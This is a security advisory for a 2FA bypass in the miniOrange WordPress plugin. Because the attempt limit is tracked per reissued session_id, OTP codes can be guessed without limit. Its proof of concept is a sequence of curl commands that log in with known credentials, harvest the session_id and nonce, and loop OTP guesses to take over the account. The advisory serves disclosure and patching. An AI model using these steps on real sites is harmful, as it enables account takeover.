miniOrange 2FA < 6.2.8 – 2FA Bypass via Unlimited Second-Factor Attempts | CVE 2026-16619

Description

The plugin does not correctly limit the number of second-factor verification attempts, tracking them against a client-supplied identifier that is reissued on every login, allowing an attacker who already knows a user's password to guess the one-time code without limit and take over the account.

Proof of Concept

Prerequisites: a target user with 2FA enabled and a TOTP method (Google/Microsoft Authenticator) configured; the attacker knows that user's username and password.

1. Prime cookies and fetch the login form:
   curl -c cookies.txt "https://victim.example/wp-login.php" -o /dev/null

2. Submit the victim's valid credentials WITHOUT a session_id, capturing the challenge page:
   curl -c cookies.txt -b cookies.txt -X POST "https://victim.example/wp-login.php" \
     --data-urlencode "log=<victim_user>" --data-urlencode "pwd=<known_password>" \
     --data-urlencode "wp-submit=Log In" --data-urlencode "redirect_to=https://victim.example/wp-admin/" \
     -o prompt.html
   The response carries a fresh <input name="session_id" value="..."> and an inline
   'nonce':'<ajax_nonce>' (the mo-two-factor-ajax-nonce).

3. Guess OTP codes against the AJAX endpoint using that session_id + nonce:
   curl -b cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
     --data-urlencode "action=mo_two_factor_ajax" \
     --data-urlencode "nonce=<ajax_nonce>" \
     --data-urlencode "mo_2f_two_factor_ajax=mo2f_validate_user_for_login" \
     --data-urlencode "mo2f_login_method=GOOGLE AUTHENTICATOR" \
     --data-urlencode "session_id=<session_id>" \
     --data-urlencode "mo2fa_softtoken=<6-digit guess>"
   Wrong guesses return {"success":false,"data":"INVALID_OTP"}; after 3 attempts the
   endpoint returns {"success":false,"data":"LIMIT_EXCEEDED"} for that session_id.

4. Repeat step 2 (same credentials, session_id still omitted) to obtain a NEW session_id.

5. Repeat step 3 with the new session_id: the counter is fully reset (INVALID_OTP responses
   resume before LIMIT_EXCEEDED), proving the previous session's exhausted limit had no
   effect. Scripting steps 2-5 in a loop yields unlimited OTP guesses; a correct code
   returns {"success":true,"data":"VALIDATED_SUCCESS"} and logs the attacker in as the victim.